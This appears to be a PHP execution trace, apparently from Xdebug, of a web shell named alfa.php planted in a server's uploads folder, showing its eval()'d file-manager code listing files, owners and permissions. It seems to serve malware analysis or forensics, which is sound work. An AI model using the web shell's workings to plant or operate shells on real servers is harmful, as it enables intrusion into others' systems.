4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
5	640	0	0.102131	3531344	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'posix_getgrgid'
5	640	1	0.102146	3531384
5	640	R			TRUE
5	641	0	0.102158	3531344	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'filegroup'
5	641	1	0.102173	3531384
5	641	R			TRUE
5	642	0	0.102185	3531400	filegroup	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'/var/www/html/uploads/alfa.php'
5	642	1	0.102200	3531440
5	642	R			1000
5	643	0	0.102212	3531344	posix_getgrgid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	1000
5	643	1	0.102244	3532000
5	643	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3368	$file_owner = 'osboxes'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3369	$file_group = 'osboxes'
5	644	0	0.102312	3531432	filemtime	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	1	'/var/www/html/uploads/alfa.php'
5	644	1	0.102327	3531472
5	644	R			1676244285
5	645	0	0.102339	3531376	date	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	2	'Y-m-d H:i:s'	1676244285
5	645	1	0.102356	3531704
5	645	R			'2023-02-13 02:54:45'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	$file_modify = '2023-02-13 02:54:45'
5	646	0	0.102383	3531688	alfaPermsColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	2	'/var/www/html/uploads/alfa.php'	???
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3049	$class = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3050	$num = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3051	$human = ''
6	647	0	0.102434	3531688	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	1	'/var/www/html/uploads/alfa.php'
6	647	1	0.102448	3531728
6	647	R			33204
6	648	0	0.102461	3531688	sprintf	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'%o'	33204
6	648	1	0.102475	3532072
6	648	R			'100664'
6	649	0	0.102488	3532008	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'100664'	-4
6	649	1	0.102502	3532104
6	649	R			'0664'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	$num = '0664'
6	650	0	0.102527	3531720	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	'/var/www/html/uploads/alfa.php'
6	650	1	0.102541	3531760
6	650	R			33204
6	651	0	0.102553	3531720	alfaPerms	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	33204
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3031	$i = '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3037	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3038	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3039	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3040	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3041	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3042	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3043	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3044	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3045	$i .= '-'
6	651	1	0.102682	3531760
6	651	R			'-rw-rw-r--'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	$human = '-rw-rw-r--'
6	652	0	0.102708	3531760	is_readable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3059	1	'/var/www/html/uploads/alfa.php'
6	652	1	0.102725	3531800
6	652	R			TRUE
6	653	0	0.102738	3531760	is_writable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3061	1	'/var/www/html/uploads/alfa.php'
6	653	1	0.102754	3531800
6	653	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3062	$class = 'main_white_perm'
5	646	1	0.102781	3531944
5	646	R			'<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	$file_perm = '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>'
5	654	0	0.102824	3531944	filesize	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	1	'/var/www/html/uploads/alfa.php'
5	654	1	0.102839	3531984
5	654	R			454562
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	$file_size = 454562
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3373	$file_path = '/var/www/html/uploads/alfa.php'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3381	$tmp = ['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes']
5	655	0	0.102903	3531944	is_file	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3384	1	'/var/www/html/uploads/alfa.php'
5	655	1	0.102917	3531984
5	655	R			TRUE
5	656	0	0.102930	3531944	array_merge	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3385	2	['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
5	656	1	0.102956	3532384
5	656	R			['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3385	$files[] = ['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3355	$i++
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3365	$filename = 'data'
5	657	0	0.103032	3532320	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'posix_getpwuid'
5	657	1	0.103046	3532360
5	657	R			TRUE
5	658	0	0.103059	3532320	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'fileowner'
5	658	1	0.103073	3532360
5	658	R			TRUE
5	659	0	0.103085	3532376	fileowner	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'/var/www/html/uploads/data'
5	659	1	0.103102	3532416
5	659	R			0
5	660	0	0.103114	3532320	posix_getpwuid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	0
5	660	1	0.103138	3533120
5	660	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	661	0	0.103179	3532336	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'posix_getgrgid'
5	661	1	0.103194	3532376
5	661	R			TRUE
5	662	0	0.103206	3532336	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'filegroup'
5	662	1	0.103221	3532376
5	662	R			TRUE
5	663	0	0.103233	3532392	filegroup	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'/var/www/html/uploads/data'
5	663	1	0.103247	3532432
5	663	R			0
5	664	0	0.103259	3532336	posix_getgrgid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	0
5	664	1	0.103283	3532992
5	664	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3368	$file_owner = 'root'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3369	$file_group = 'root'
5	665	0	0.103346	3532424	filemtime	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	1	'/var/www/html/uploads/data'
5	665	1	0.103364	3532464
5	665	R			1676244285
5	666	0	0.103377	3532368	date	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	2	'Y-m-d H:i:s'	1676244285
5	666	1	0.103393	3532696
5	666	R			'2023-02-13 02:54:45'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	$file_modify = '2023-02-13 02:54:45'
5	667	0	0.103421	3532680	alfaPermsColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	2	'/var/www/html/uploads/data'	???
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3049	$class = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3050	$num = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3051	$human = ''
6	668	0	0.103472	3532680	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	1	'/var/www/html/uploads/data'
6	668	1	0.103486	3532720
6	668	R			16895
6	669	0	0.103499	3532680	sprintf	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'%o'	16895
6	669	1	0.103513	3533064
6	669	R			'40777'
6	670	0	0.103526	3533000	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'40777'	-4
6	670	1	0.103540	3533096
6	670	R			'0777'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	$num = '0777'
6	671	0	0.103564	3532712	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	'/var/www/html/uploads/data'
6	671	1	0.103578	3532752
6	671	R			16895
6	672	0	0.103590	3532712	alfaPerms	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	16895
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3033	$i = 'd'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3037	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3038	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3039	$i .= 'x'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3040	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3041	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3042	$i .= 'x'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3043	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3044	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3045	$i .= 'x'
6	672	1	0.103719	3532752
6	672	R			'drwxrwxrwx'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	$human = 'drwxrwxrwx'
6	673	0	0.103745	3532752	is_readable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3059	1	'/var/www/html/uploads/data'
6	673	1	0.103763	3532792
6	673	R			TRUE
6	674	0	0.103776	3532752	is_writable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3061	1	'/var/www/html/uploads/data'
6	674	1	0.103792	3532792
6	674	R			TRUE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3064	$class = 'main_green_perm'
5	667	1	0.103819	3532936
5	667	R			'<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	$file_perm = '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>'
5	675	0	0.103857	3532936	filesize	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	1	'/var/www/html/uploads/data'
5	675	1	0.103871	3532976
5	675	R			4096
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	$file_size = 4096
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3373	$file_path = '/var/www/html/uploads/data'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3381	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	676	0	0.103939	3532936	is_file	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3384	1	'/var/www/html/uploads/data'
5	676	1	0.103953	3532976
5	676	R			FALSE
5	677	0	0.103966	3532936	is_link	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3386	1	'/var/www/html/uploads/data'
5	677	1	0.103982	3532976
5	677	R			FALSE
5	678	0	0.103994	3532936	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3388	1	'/var/www/html/uploads/data'
5	678	1	0.104011	3532976
5	678	R			TRUE
5	679	0	0.104024	3532936	array_merge	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3389	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
5	679	1	0.104094	3533376
5	679	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3389	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3355	$i++
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3365	$filename = 'prepend.php'
5	680	0	0.104174	3533312	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'posix_getpwuid'
5	680	1	0.104189	3533352
5	680	R			TRUE
5	681	0	0.104202	3533312	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'fileowner'
5	681	1	0.104216	3533352
5	681	R			TRUE
5	682	0	0.104229	3533376	fileowner	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'/var/www/html/uploads/prepend.php'
5	682	1	0.104246	3533424
5	682	R			0
5	683	0	0.104259	3533320	posix_getpwuid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	0
5	683	1	0.104284	3534120
5	683	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	684	0	0.104327	3533352	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'posix_getgrgid'
5	684	1	0.104342	3533392
5	684	R			TRUE
5	685	0	0.104355	3533352	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'filegroup'
5	685	1	0.104369	3533392
5	685	R			TRUE
5	686	0	0.104382	3533416	filegroup	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'/var/www/html/uploads/prepend.php'
5	686	1	0.104396	3533456
5	686	R			0
5	687	0	0.104408	3533352	posix_getgrgid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	0
5	687	1	0.104444	3534008
5	687	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3368	$file_owner = 'root'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3369	$file_group = 'root'
5	688	0	0.104509	3533448	filemtime	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	1	'/var/www/html/uploads/prepend.php'
5	688	1	0.104528	3533488
5	688	R			1676244285
5	689	0	0.104541	3533384	date	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	2	'Y-m-d H:i:s'	1676244285
5	689	1	0.104559	3533712
5	689	R			'2023-02-13 02:54:45'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	$file_modify = '2023-02-13 02:54:45'
5	690	0	0.104587	3533704	alfaPermsColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	2	'/var/www/html/uploads/prepend.php'	???
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3049	$class = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3050	$num = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3051	$human = ''
6	691	0	0.104639	3533704	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	1	'/var/www/html/uploads/prepend.php'
6	691	1	0.104653	3533744
6	691	R			33261
6	692	0	0.104666	3533704	sprintf	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'%o'	33261
6	692	1	0.104680	3534088
6	692	R			'100755'
6	693	0	0.104693	3534024	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'100755'	-4
6	693	1	0.104708	3534120
6	693	R			'0755'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	$num = '0755'
6	694	0	0.104733	3533736	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	'/var/www/html/uploads/prepend.php'
6	694	1	0.104747	3533776
6	694	R			33261
6	695	0	0.104760	3533736	alfaPerms	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	33261
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3031	$i = '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3037	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3038	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3039	$i .= 'x'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3040	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3041	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3042	$i .= 'x'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3043	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3044	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3045	$i .= 'x'
6	695	1	0.104895	3533776
6	695	R			'-rwxr-xr-x'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	$human = '-rwxr-xr-x'
6	696	0	0.104922	3533776	is_readable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3059	1	'/var/www/html/uploads/prepend.php'
6	696	1	0.104940	3533816
6	696	R			TRUE
6	697	0	0.104953	3533776	is_writable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3061	1	'/var/www/html/uploads/prepend.php'
6	697	1	0.104970	3533816
6	697	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3062	$class = 'main_white_perm'
5	690	1	0.104997	3533960
5	690	R			'<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	$file_perm = '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>'
5	698	0	0.105035	3533960	filesize	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	1	'/var/www/html/uploads/prepend.php'
5	698	1	0.105050	3534000
5	698	R			57
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	$file_size = 57
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3373	$file_path = '/var/www/html/uploads/prepend.php'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3381	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
5	699	0	0.105119	3533960	is_file	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3384	1	'/var/www/html/uploads/prepend.php'
5	699	1	0.105133	3534000
5	699	R			TRUE
5	700	0	0.105146	3533960	array_merge	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3385	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
5	700	1	0.105172	3534400
5	700	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3385	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3355	$i++
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3400	GLOBALS['sort'] = [0 => 'name', 1 => 1]
5	701	0	0.105254	3534360	usort	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3407	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]	'alfaCmp'
